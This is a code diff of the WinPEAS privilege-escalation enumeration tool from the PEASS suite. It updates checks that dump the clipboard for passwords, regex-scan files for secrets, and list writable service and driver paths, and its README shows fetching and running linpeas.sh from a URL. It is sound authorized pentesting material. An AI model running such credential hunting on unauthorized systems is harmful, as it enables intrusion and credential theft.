||||||
|
|
||||||
## PEASS Style
|
## PEASS Style
|
||||||
|
|
||||||
@@ -22,4 +24,4 @@ Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/s
|
|||||||
|
|
||||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||||
|
|
||||||
By Polop<sup>(TM)</sup>
|
By Polop
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
**WinPEAS is a script that searh for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
||||||
|
|
||||||
Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)
|
Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)
|
||||||
|
|
||||||
|
|||||||
@@ -52,7 +52,7 @@ CALL :ColorLine " %E%41mUse it at your own networks and/or with the network ow
|
|||||||
ECHO.
|
ECHO.
|
||||||
|
|
||||||
:SystemInfo
|
:SystemInfo
|
||||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO
|
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
|
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
|
||||||
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
|
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
|
||||||
@@ -404,7 +404,7 @@ CALL :T_Progress 1
|
|||||||
|
|
||||||
:CurrentClipboard
|
:CurrentClipboard
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
|
CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
|
||||||
ECHO. [i] Any password inside the clipboard?
|
ECHO. [i] Any passwords inside the clipboard?
|
||||||
powershell -command "Get-Clipboard" 2>nul
|
powershell -command "Get-Clipboard" 2>nul
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :T_Progress 1
|
CALL :T_Progress 1
|
||||||
@@ -565,7 +565,7 @@ CALL :T_Progress 2
|
|||||||
|
|
||||||
:AppCMD
|
:AppCMD
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
|
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe
|
||||||
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
|
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :T_Progress 2
|
CALL :T_Progress 2
|
||||||
|
|||||||
@@ -53,6 +53,7 @@ $wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions someti
|
|||||||
## Parameters Examples
|
## Parameters Examples
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
winpeas.exe -h # Get Help
|
||||||
winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs)
|
winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs)
|
||||||
winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed
|
winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed
|
||||||
winpeas.exe notcolor #Do not color the output
|
winpeas.exe notcolor #Do not color the output
|
||||||
@@ -64,34 +65,6 @@ winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpea
|
|||||||
winpeas.exe -lolbas #Execute also additional LOLBAS search check
|
winpeas.exe -lolbas #Execute also additional LOLBAS search check
|
||||||
```
|
```
|
||||||
|
|
||||||
## Help
|
|
||||||
```
|
|
||||||
domain Enumerate domain information
|
|
||||||
systeminfo Search system information
|
|
||||||
userinfo Search user information
|
|
||||||
processinfo Search processes information
|
|
||||||
servicesinfo Search services information
|
|
||||||
applicationsinfo Search installed applications information
|
|
||||||
networkinfo Search network information
|
|
||||||
windowscreds Search windows credentials
|
|
||||||
browserinfo Search browser information
|
|
||||||
filesinfo Search generic files that can contains credentials
|
|
||||||
fileanalysis Search specific files that can contains credentials and for regexes inside files
|
|
||||||
eventsinfo Display interesting events information
|
|
||||||
|
|
||||||
quiet Do not print banner
|
|
||||||
notcolor Don't use ansi colors (all white)
|
|
||||||
searchpf Search credentials via regex also in Program Files folders
|
|
||||||
wait Wait for user input between checks
|
|
||||||
debug Display debugging information - memory usage, method execution time
|
|
||||||
log[=logfile] Log all output to file defined as logfile, or to "out.txt" if not specified
|
|
||||||
|
|
||||||
Additional checks (slower):
|
|
||||||
-lolbas Run additional LOLBAS check
|
|
||||||
-linpeas=[url] Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL
|
|
||||||
(default: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh)
|
|
||||||
```
|
|
||||||
|
|
||||||
## Basic information
|
## Basic information
|
||||||
|
|
||||||
The goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments.
|
The goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments.
|
||||||
@@ -285,4 +258,4 @@ If you find any issue, please report it using **[github issues](https://github.c
|
|||||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||||
|
|
||||||
|
|
||||||
By Polop<sup>(TM)</sup>, makikvues (makikvues2[at]gmail[dot].com)
|
By Polop
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
using System.Reflection;
|
using System.Reflection;
|
||||||
using System.Runtime.CompilerServices;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
// General Information about an assembly is controlled through the following
|
// General Information about an assembly is controlled through the following
|
||||||
|
|||||||
@@ -3,4 +3,7 @@
|
|||||||
<startup useLegacyV2RuntimeActivationPolicy="true">
|
<startup useLegacyV2RuntimeActivationPolicy="true">
|
||||||
|
|
||||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2"/></startup>
|
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2"/></startup>
|
||||||
|
<runtime>
|
||||||
|
<AppContextSwitchOverrides value="Switch.System.IO.UseLegacyPathHandling=false" />
|
||||||
|
</runtime>
|
||||||
</configuration>
|
</configuration>
|
||||||
|
|||||||
@@ -27,8 +27,8 @@ namespace winPEAS.Checks
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Current Active Window Application");
|
Beaprint.MainPrint("Current Active Window Application");
|
||||||
string title = ApplicationInfoHelper.GetActiveWindowTitle();
|
string title = ApplicationInfoHelper.GetActiveWindowTitle();
|
||||||
List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, Checks.CurrentUserSiDs);
|
||||||
List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, Checks.CurrentUserSiDs);
|
||||||
if (permsFile.Count > 0)
|
if (permsFile.Count > 0)
|
||||||
{
|
{
|
||||||
Beaprint.BadPrint(" " + title);
|
Beaprint.BadPrint(" " + title);
|
||||||
@@ -188,8 +188,8 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
foreach (Dictionary<string, string> sapp in scheduled_apps)
|
foreach (Dictionary<string, string> sapp in scheduled_apps)
|
||||||
{
|
{
|
||||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], Checks.CurrentUserSiDs);
|
||||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], Checks.CurrentUserSiDs);
|
||||||
string formString = " ({0}) {1}: {2}";
|
string formString = " ({0}) {1}: {2}";
|
||||||
|
|
||||||
if (fileRights.Count > 0)
|
if (fileRights.Count > 0)
|
||||||
@@ -238,8 +238,8 @@ namespace winPEAS.Checks
|
|||||||
foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())
|
foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())
|
||||||
{
|
{
|
||||||
string pathDriver = driver.Key;
|
string pathDriver = driver.Key;
|
||||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, Checks.CurrentUserSiDs);
|
||||||
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, Checks.CurrentUserSiDs);
|
||||||
|
|
||||||
Dictionary<string, string> colorsD = new Dictionary<string, string>()
|
Dictionary<string, string> colorsD = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -35,6 +35,9 @@ namespace winPEAS.Checks
|
|||||||
public static string PaintActiveUsersNoAdministrator = "";
|
public static string PaintActiveUsersNoAdministrator = "";
|
||||||
public static string PaintDisabledUsers = "";
|
public static string PaintDisabledUsers = "";
|
||||||
public static string PaintDisabledUsersNoAdministrator = "";
|
public static string PaintDisabledUsersNoAdministrator = "";
|
||||||
|
public static bool IsLongPath = false;
|
||||||
|
public static bool WarningIsLongPath = false;
|
||||||
|
public static int MaxRegexFileSize = 1000000;
|
||||||
//static string paint_lockoutUsers = "";
|
//static string paint_lockoutUsers = "";
|
||||||
public static string PaintAdminUsers = "";
|
public static string PaintAdminUsers = "";
|
||||||
public static YamlConfig YamlConfig;
|
public static YamlConfig YamlConfig;
|
||||||
@@ -159,6 +162,16 @@ namespace winPEAS.Checks
|
|||||||
SearchProgramFiles = true;
|
SearchProgramFiles = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (string.Equals(arg, "max-regex-file-size", StringComparison.CurrentCultureIgnoreCase))
|
||||||
|
{
|
||||||
|
var parts = arg.Split('=');
|
||||||
|
if (parts.Length >= 2 && !string.IsNullOrEmpty(parts[1]))
|
||||||
|
{
|
||||||
|
MaxRegexFileSize = Int32.Parse(parts[1]);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
if (string.Equals(arg, "-lolbas", StringComparison.CurrentCultureIgnoreCase))
|
if (string.Equals(arg, "-lolbas", StringComparison.CurrentCultureIgnoreCase))
|
||||||
{
|
{
|
||||||
IsLolbas = true;
|
IsLolbas = true;
|
||||||
@@ -206,6 +219,8 @@ namespace winPEAS.Checks
|
|||||||
CheckRegANSI();
|
CheckRegANSI();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
CheckLongPath();
|
||||||
|
|
||||||
Beaprint.PrintInit();
|
Beaprint.PrintInit();
|
||||||
|
|
||||||
CheckRunner.Run(CreateDynamicLists, IsDebug);
|
CheckRunner.Run(CreateDynamicLists, IsDebug);
|
||||||
@@ -348,8 +363,8 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.GrayPrint(" - Creating disabled users list...");
|
Beaprint.GrayPrint(" - Creating disabled users list...");
|
||||||
Checks.PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false));
|
PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false));
|
||||||
PaintDisabledUsersNoAdministrator = Checks.PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", "");
|
PaintDisabledUsersNoAdministrator = PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", "");
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
@@ -396,7 +411,7 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "" && RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "")
|
if (RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "" && RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "")
|
||||||
System.Console.WriteLine(@"ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
Console.WriteLine(@"ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
@@ -404,6 +419,24 @@ namespace winPEAS.Checks
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private static void CheckLongPath()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\FileSystem", "LongPathsEnabled") != "1")
|
||||||
|
{
|
||||||
|
Console.WriteLine(@"Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||||
|
IsLongPath = false;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
IsLongPath = true;
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Beaprint.GrayPrint("Error while checking LongPathsEnabled registry: " + ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private static void WaitInput()
|
private static void WaitInput()
|
||||||
{
|
{
|
||||||
Console.Write("\n -- Press a key to continue... ");
|
Console.Write("\n -- Press a key to continue... ");
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
@@ -26,7 +27,7 @@ namespace winPEAS.Checks
|
|||||||
}.ForEach(action => CheckRunner.Run(action, isDebug));
|
}.ForEach(action => CheckRunner.Run(action, isDebug));
|
||||||
}
|
}
|
||||||
|
|
||||||
private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles=true)
|
private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles = true)
|
||||||
{
|
{
|
||||||
var files = new List<CustomFileInfo>();
|
var files = new List<CustomFileInfo>();
|
||||||
var systemDrive = $"{SearchHelper.SystemDrive}\\";
|
var systemDrive = $"{SearchHelper.SystemDrive}\\";
|
||||||
@@ -70,6 +71,9 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
private static bool[] Search(List<CustomFileInfo> files, string fileName, FileSettings fileSettings, ref int resultsCount, string searchName, bool somethingFound)
|
private static bool[] Search(List<CustomFileInfo> files, string fileName, FileSettings fileSettings, ref int resultsCount, string searchName, bool somethingFound)
|
||||||
{
|
{
|
||||||
|
if (Checks.IsDebug)
|
||||||
|
Beaprint.PrintDebugLine($"Searching for {fileName}");
|
||||||
|
|
||||||
bool isRegexSearch = fileName.Contains("*");
|
bool isRegexSearch = fileName.Contains("*");
|
||||||
bool isFolder = fileSettings.files != null;
|
bool isFolder = fileSettings.files != null;
|
||||||
string pattern = string.Empty;
|
string pattern = string.Empty;
|
||||||
@@ -114,7 +118,8 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
if (isFileFound)
|
if (isFileFound)
|
||||||
{
|
{
|
||||||
if (!somethingFound) {
|
if (!somethingFound)
|
||||||
|
{
|
||||||
Beaprint.MainPrint($"Found {searchName} Files");
|
Beaprint.MainPrint($"Found {searchName} Files");
|
||||||
somethingFound = true;
|
somethingFound = true;
|
||||||
}
|
}
|
||||||
@@ -139,6 +144,7 @@ namespace winPEAS.Checks
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
return new bool[] { false, somethingFound };
|
return new bool[] { false, somethingFound };
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -149,15 +155,39 @@ namespace winPEAS.Checks
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Regex rgx;
|
Regex rgx;
|
||||||
if (caseinsensitive)
|
bool is_re_match = false;
|
||||||
rgx = new Regex(regex_str.Trim(), RegexOptions.IgnoreCase);
|
try
|
||||||
else
|
{
|
||||||
rgx = new Regex(regex_str.Trim());
|
// Use "IsMatch" because it supports timeout, if exception is thrown exit the func to avoid ReDoS in "rgx.Matches"
|
||||||
|
if (caseinsensitive)
|
||||||
|
{
|
||||||
|
is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120));
|
||||||
|
rgx = new Regex(regex_str.Trim(), RegexOptions.IgnoreCase);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.None, TimeSpan.FromSeconds(120));
|
||||||
|
rgx = new Regex(regex_str.Trim());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (RegexMatchTimeoutException e)
|
||||||
|
{
|
||||||
|
if (Checks.IsDebug)
|
||||||
|
{
|
||||||
|
Beaprint.GrayPrint($"The regex {regex_str} had a timeout (ReDoS avoided but regex unchecked in a file)");
|
||||||
|
}
|
||||||
|
return foundMatches;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!is_re_match)
|
||||||
|
{
|
||||||
|
return foundMatches;
|
||||||
|
}
|
||||||
|
|
||||||
int cont = 0;
|
int cont = 0;
|
||||||
foreach (Match match in rgx.Matches(text))
|
foreach (Match match in rgx.Matches(text))
|
||||||
{
|
{
|
||||||
if (cont > 4) break;
|
if (cont > 10) break;
|
||||||
|
|
||||||
if (match.Value.Length < 400 && match.Value.Trim().Length > 2)
|
if (match.Value.Length < 400 && match.Value.Trim().Length > 2)
|
||||||
foundMatches.Add(match.Value);
|
foundMatches.Add(match.Value);
|
||||||
@@ -232,7 +262,7 @@ namespace winPEAS.Checks
|
|||||||
".txt", ".text", ".md", ".markdown", ".toml", ".rtf",
|
".txt", ".text", ".md", ".markdown", ".toml", ".rtf",
|
||||||
|
|
||||||
// config
|
// config
|
||||||
".conf", ".config", ".json", ".yml", ".yaml", ".xml", ".xaml",
|
".cnf", ".conf", ".config", ".json", ".yml", ".yaml", ".xml", ".xaml",
|
||||||
|
|
||||||
// dev
|
// dev
|
||||||
".py", ".js", ".html", ".c", ".cpp", ".pl", ".rb", ".smali", ".java", ".php", ".bat", ".ps1",
|
".py", ".js", ".html", ".c", ".cpp", ".pl", ".rb", ".smali", ".java", ".php", ".bat", ".ps1",
|
||||||
@@ -246,11 +276,30 @@ namespace winPEAS.Checks
|
|||||||
"eula.rtf", "changelog.md"
|
"eula.rtf", "changelog.md"
|
||||||
};
|
};
|
||||||
|
|
||||||
// No dirs, less thatn 1MB, only interesting extensions and not false positives files.
|
if (Checks.IsDebug)
|
||||||
var files = InitializeFileSearch(Checks.SearchProgramFiles).Where(f => !f.IsDirectory && valid_extensions.Contains(f.Extension.ToLower()) && !invalid_names.Contains(f.Filename.ToLower()) && f.Size > 0 && f.Size < 1000000).ToList();
|
Beaprint.PrintDebugLine("Looking for secrets inside files via regexes");
|
||||||
|
|
||||||
|
// No dirs, less than 1MB, only interesting extensions and not false positives files.
|
||||||
|
var files = InitializeFileSearch(Checks.SearchProgramFiles).Where(f => !f.IsDirectory && valid_extensions.Contains(f.Extension.ToLower()) && !invalid_names.Contains(f.Filename.ToLower()) && f.Size > 0 && f.Size < Checks.MaxRegexFileSize).ToList();
|
||||||
var config = Checks.RegexesYamlConfig; // Get yaml info
|
var config = Checks.RegexesYamlConfig; // Get yaml info
|
||||||
Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> foundRegexes = new Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> { };
|
Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> foundRegexes = new Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> { };
|
||||||
|
|
||||||
|
if (Checks.IsDebug)
|
||||||
|
{
|
||||||
|
Beaprint.PrintDebugLine($"Searching regexes in {files.Count} files");
|
||||||
|
valid_extensions.ForEach(ext =>
|
||||||
|
{
|
||||||
|
int cont = 0;
|
||||||
|
files.ForEach(f =>
|
||||||
|
{
|
||||||
|
if (f.Extension.ToLower() == ext.ToLower())
|
||||||
|
cont++;
|
||||||
|
});
|
||||||
|
Beaprint.PrintDebugLine($"Found {cont} files with ext {ext}");
|
||||||
|
});
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Useful for debbugging purposes to see the common file extensions found
|
* Useful for debbugging purposes to see the common file extensions found
|
||||||
Dictionary <string, int> dict_str = new Dictionary<string, int>();
|
Dictionary <string, int> dict_str = new Dictionary<string, int>();
|
||||||
@@ -269,6 +318,74 @@ namespace winPEAS.Checks
|
|||||||
Console.WriteLine(string.Format("Key = {0}, Value = {1}", kvp.Key, kvp.Value));
|
Console.WriteLine(string.Format("Key = {0}, Value = {1}", kvp.Key, kvp.Value));
|
||||||
}*/
|
}*/
|
||||||
|
|
||||||
|
//double pb = 0;
|
||||||
|
//using (var progress = new ProgressBar())
|
||||||
|
//{
|
||||||
|
// CheckRunner.Run(() =>
|
||||||
|
// {
|
||||||
|
// int num_threads = 8;
|
||||||
|
// try
|
||||||
|
// {
|
||||||
|
// num_threads = Environment.ProcessorCount;
|
||||||
|
// }
|
||||||
|
// catch (Exception ex) { }
|
||||||
|
|
||||||
|
// Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f =>
|
||||||
|
// {
|
||||||
|
|
||||||
|
// foreach (var regex_obj in config.regular_expresions)
|
||||||
|
// {
|
||||||
|
// foreach (var regex in regex_obj.regexes)
|
||||||
|
// {
|
||||||
|
// if (regex.disable != null && regex.disable.ToLower().Contains("winpeas"))
|
||||||
|
// {
|
||||||
|
// continue;
|
||||||
|
// }
|
||||||
|
|
||||||
|
// List<string> results = new List<string> { };
|
||||||
|
|
||||||
|
// var timer = new Stopwatch();
|
||||||
|
// if (Checks.IsDebug)
|
||||||
|
// {
|
||||||
|
// timer.Start();
|
||||||
|
// }
|
||||||
|
|
||||||
|
|
||||||
|
// try
|
||||||
|
// {
|
||||||
|
// string text = File.ReadAllText(f.FullPath);
|
||||||
|
|
||||||
|
// results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive);
|
||||||
|
// if (results.Count > 0)
|
||||||
|
// {
|
||||||
|
// if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { };
|
||||||
|
// if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { };
|
||||||
|
|
||||||
|
// foundRegexes[regex_obj.name][regex.name][f.FullPath] = results;
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// catch (System.IO.IOException)
|
||||||
|
// {
|
||||||
|
// // Cannot read the file
|
||||||
|
// }
|
||||||
|
|
||||||
|
// if (Checks.IsDebug)
|
||||||
|
// {
|
||||||
|
// timer.Stop();
|
||||||
|
|
||||||
|
// TimeSpan timeTaken = timer.Elapsed;
|
||||||
|
// if (timeTaken.TotalMilliseconds > 20000)
|
||||||
|
// Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}");
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// pb += (double)100 / files.Count;
|
||||||
|
// progress.Report(pb / 100); //Value must be in [0..1] range
|
||||||
|
// });
|
||||||
|
// }, Checks.IsDebug);
|
||||||
|
//}
|
||||||
|
|
||||||
|
|
||||||
double pb = 0;
|
double pb = 0;
|
||||||
using (var progress = new ProgressBar())
|
using (var progress = new ProgressBar())
|
||||||
{
|
{
|
||||||
@@ -283,8 +400,6 @@ namespace winPEAS.Checks
|
|||||||
|
|
||||||
Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f =>
|
Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f =>
|
||||||
{
|
{
|
||||||
//foreach (var f in files)
|
|
||||||
//{
|
|
||||||
foreach (var regex_obj in config.regular_expresions)
|
foreach (var regex_obj in config.regular_expresions)
|
||||||
{
|
{
|
||||||
foreach (var regex in regex_obj.regexes)
|
foreach (var regex in regex_obj.regexes)
|
||||||
@@ -294,34 +409,63 @@ namespace winPEAS.Checks
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
List<string> results = new List<string> { };
|
Dictionary<string, List<string>> fileResults = new Dictionary<string, List<string>>();
|
||||||
|
|
||||||
|
var timer = new Stopwatch();
|
||||||
|
if (Checks.IsDebug)
|
||||||
|
{
|
||||||
|
timer.Start();
|
||||||
|
}
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string text = System.IO.File.ReadAllText(f.FullPath);
|
using (StreamReader sr = new StreamReader(f.FullPath))
|
||||||
|
{
|
||||||
|
string line;
|
||||||
|
while ((line = sr.ReadLine()) != null)
|
||||||
|
{
|
||||||
|
List<string> results = SearchContent(line, regex.regex, (bool)regex.caseinsensitive);
|
||||||
|
if (results.Count > 0)
|
||||||
|
{
|
||||||
|
if (!fileResults.ContainsKey(f.FullPath))
|
||||||
|
{
|
||||||
|
fileResults[f.FullPath] = new List<string>();
|
||||||
|
}
|
||||||
|
fileResults[f.FullPath].AddRange(results);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive);
|
if (fileResults.Count > 0)
|
||||||
if (results.Count > 0)
|
|
||||||
{
|
{
|
||||||
if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { };
|
if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { };
|
||||||
if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { };
|
if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { };
|
||||||
|
|
||||||
foundRegexes[regex_obj.name][regex.name][f.FullPath] = results;
|
foundRegexes[regex_obj.name][regex.name] = fileResults;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (System.IO.IOException)
|
catch (System.IO.IOException)
|
||||||
{
|
{
|
||||||
// Cannot read the file
|
// Cannot read the file
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (Checks.IsDebug)
|
||||||
|
{
|
||||||
|
timer.Stop();
|
||||||
|
|
||||||
|
TimeSpan timeTaken = timer.Elapsed;
|
||||||
|
if (timeTaken.TotalMilliseconds > 20000)
|
||||||
|
Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
pb += (double)100 / files.Count;
|
pb += (double)100 / files.Count;
|
||||||
progress.Report(pb / 100); //Value must be in [0..1] range
|
progress.Report(pb / 100); //Value must be in [0..1] range
|
||||||
});
|
});
|
||||||
//}
|
|
||||||
}, Checks.IsDebug);
|
}, Checks.IsDebug);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// Print results
|
// Print results
|
||||||
